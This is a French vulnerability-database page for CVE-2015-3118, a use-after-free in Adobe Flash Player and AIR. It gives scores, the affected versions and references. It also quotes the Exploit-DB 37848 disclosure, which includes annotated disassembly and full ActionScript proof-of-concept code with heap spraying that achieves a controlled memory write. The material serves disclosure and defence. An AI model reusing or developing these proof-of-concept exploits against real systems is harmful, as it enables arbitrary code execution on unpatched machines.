CVE-2015-3118 : Détail

CVE-2015-3118

71.66%V3
Network
2015-07-09
14h00 +00:00
2017-09-21
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Use-after-free vulnerability in Adobe Flash Player before 13.0.0.302 and 14.x through 18.x before 18.0.0.203 on Windows and OS X and before 11.2.202.481 on Linux, Adobe AIR before 18.0.0.180, Adobe AIR SDK before 18.0.0.180, and Adobe AIR SDK & Compiler before 18.0.0.180 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-3124, CVE-2015-3127, CVE-2015-3128, CVE-2015-3129, CVE-2015-3131, CVE-2015-3132, CVE-2015-3136, CVE-2015-3137, CVE-2015-4428, CVE-2015-4430, and CVE-2015-5117.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 37848

Date de publication : 2015-08-18 22h00 +00:00
Auteur : bilou
EDB Vérifié : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=342&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id [Tracking for https://code.google.com/p/chromium/issues/detail?id=480496] Credit is to bilou, working with the Chromium Vulnerability Rewards Program. --- VULNERABILITY DETAILS A little bug while setting the TextFilter.filters array. Chrome 42.0.2311.90 with Flash 17.0.0.169 VERSION Chrome Version: 42.0.2311.90 Stable with Flash 17.0.0.169 Operating System: [Win 7 SP1] REPRODUCTION CASE We can set the TextFilter.filters array with either an array or a custom object. Providing an object allows an attacker to execute AS2 code in the following loop (these lines come from flashplayer17_sa.exe 17.0.0.169): .text:004D6964 loc_4D6964: .text:004D6964 and eax, 0FFFFFFF8h .text:004D6967 push edi .text:004D6968 mov edi, eax .text:004D696A mov ecx, edi .text:004D696C xor esi, esi .text:004D696E call xAS2_getArrayLength ; here we can override object.length and execute some code .text:004D6973 test eax, eax ; if that code frees the object pointed by ebx... .text:004D6975 jle short loc_4D69A3 .text:004D6977 .text:004D6977 loc_4D6977: .text:004D6977 push edi .text:004D6978 mov ecx, esi .text:004D697A call sub_4D3FE0 ; get an item from the object .text:004D697F add esp, 4 .text:004D6982 test eax, eax ; we have either a filter or 0 here .text:004D6984 jz short loc_4D6997 .text:004D6986 mov edx, [eax] .text:004D6988 mov ecx, eax .text:004D698A mov eax, [edx+18h] .text:004D698D call eax .text:004D698F push eax .text:004D6990 mov ecx, ebx ; ...we get a use after free here .text:004D6992 call sub_4CDB70 ; and a write-4 condition here .text:004D6997 .text:004D6997 loc_4D6997: .text:004D6997 mov ecx, edi .text:004D6999 inc esi .text:004D699A call xAS2_getArrayLength .text:004D699F cmp esi, eax .text:004D69A1 jl short loc_4D6977 Freeing the object pointed by ebx is easy indeed: var tfield:TextField = createTextField("tf",1,1,2,3,4) //create a TextField at depth 1 tfield.filters = [] //create the targeted object createTextField("textf",1,1,2,3,4) //create again a TextField (or any other DisplayObject) at the same depth and Flash frees the targeted object flash_as2_filters_uaf_write4_poc.swf just crashes the program and flash_as2_filters_uaf_write4.swf crashes while writing to 0x41424344 *************************************************************************** Content of flash_as2_filters_uaf_write4_poc.fla //Compile that with Flash CS5.5 and change the property "s" in the swf to "3" //It's because Flash CS5.5 does not allow naming a property with a numeral import flash.filters.GlowFilter; var tfield:TextField = createTextField("tf",1,1,2,3,4) function f() { _global.mc.createTextField("tf",1,1,2,3,4) } _global.mc = this _global.counter = 0 var oCounter:Object = new Object() oCounter.valueOf = function () { _global.counter += 1 if (_global.counter == 1) f() return 10; } var o = {length:oCounter, 3:new GlowFilter(1,2,3,4,5,6,true,true)} tfield.filters = o *************************************************************************** Content of flash_as2_filters_uaf_write4.fla //Compile that with Flash CS5.5 and change the property "s" in the swf to "3" //It's because Flash CS5.5 does not allow naming a property with a numeral import flash.filters.GlowFilter; var a1:Array = new Array() var a2:Array = new Array() for (i = 0; i<0x3F8/4;i++) { a2[i] = 0x41424344 } a2[3] = 0 a2[0x324/4] = 0x41414100 a2[0x324/4 + 1] = 0x41424344 a2[0x324/4 + 2] = 0x41414143 a2[0x324/4 + 3] = 0x41414100 for (var i = 0; i<0x200;i++) { var tf:TextFormat = new TextFormat() a1[i] = tf } for (var i = 0; i<0x100;i++) { a1[i].tabStops = a2 } var tfield:TextField = createTextField("tf",1,1,2,3,4) function f() { _global.mc.createTextField("tf",1,1,2,3,4) for (var i = 0x100; i<0x200;i++) { _global.a1[i].tabStops = _global.a2 } } _global.mc = this _global.counter = 0 _global.a1 = a1 _global.a2 = a2 var oCounter:Object = new Object() oCounter.valueOf = function () { _global.counter += 1 if (_global.counter == 1) f() return 10; } var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)} tfield.filters = o --- Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37848.zip

Products Mentioned

Configuraton 0

Adobe>>Flash_player >> Version To (including) 13.0.0.289

Adobe>>Flash_player >> Version 14.0.0.125

Adobe>>Flash_player >> Version 14.0.0.145

Adobe>>Flash_player >> Version 14.0.0.176

Adobe>>Flash_player >> Version 14.0.0.179

Adobe>>Flash_player >> Version 15.0.0.152

Adobe>>Flash_player >> Version 15.0.0.167

Adobe>>Flash_player >> Version 15.0.0.189

Adobe>>Flash_player >> Version 15.0.0.223

Adobe>>Flash_player >> Version 15.0.0.239

Adobe>>Flash_player >> Version 15.0.0.246

Adobe>>Flash_player >> Version 16.0.0.235

Adobe>>Flash_player >> Version 16.0.0.257

Adobe>>Flash_player >> Version 16.0.0.287

Adobe>>Flash_player >> Version 16.0.0.296

Adobe>>Flash_player >> Version 17.0.0.134

Adobe>>Flash_player >> Version 17.0.0.169

Adobe>>Flash_player >> Version 17.0.0.188

Adobe>>Flash_player >> Version 17.0.0.190

Adobe>>Flash_player >> Version 18.0.0.160

Adobe>>Flash_player >> Version 18.0.0.194

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Flash_player >> Version To (including) 11.2.202.468

Linux>>Linux_kernel >> Version -

Configuraton 0

Adobe>>Air >> Version To (including) 18.0.0.144

Adobe>>Air_sdk >> Version To (including) 18.0.0.144

Adobe>>Air_sdk_\&_compiler >> Version To (including) 18.0.0.144

Références

http://www.securitytracker.com/id/1032810
Tags : vdb-entry, x_refsource_SECTRACK
http://rhn.redhat.com/errata/RHSA-2015-1214.html
Tags : vendor-advisory, x_refsource_REDHAT
https://security.gentoo.org/glsa/201507-13
Tags : vendor-advisory, x_refsource_GENTOO
https://www.exploit-db.com/exploits/37848/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/75590
Tags : vdb-entry, x_refsource_BID